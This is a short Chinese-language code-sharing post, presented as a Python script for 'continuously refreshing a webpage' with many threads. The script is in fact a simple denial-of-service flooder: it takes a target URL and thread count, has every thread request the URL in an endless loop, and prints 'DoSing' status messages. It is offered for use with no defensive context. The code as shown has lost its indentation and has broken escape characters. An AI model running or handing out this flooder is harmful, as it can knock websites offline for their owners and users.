python多线程不断刷新网页的源码

把内容过程经常用的内容珍藏起来，如下的内容内容是关于python多线程不断刷新网页的的内容，应该能对大伙有较大好处。

import thread
import urllib2
import sys
import time

def usage():
print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
sys.exit()

def reloader(numthread):
url = sys.argv[1]
numreloads = 0
while True:
try:
urllib2.urlopen(url)
numreloads = numreloads + 1
except KeyboardInterrupt:
sys.exit('nProcess aborted.')

def splash():

if len(sys.argv) < 3:
usage()

if __name__ == '__main__':
splash()
print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
for reloadspawn in range(0, int(sys.argv[2])):
thread.start_new_thread(reloader, (reloadspawn,))
sys.stdout.write('')
dosind = ['-', '\', '|', '/']
dosstat = 0
while True:
try:
sys.stdout.write('r' + dosind[dosstat % 4] + ' DoSing...')
sys.stdout.flush()
dosstat = dosstat + 1
time.sleep(0.25)
except KeyboardInterrupt:
sys.exit('nProcess aborted.')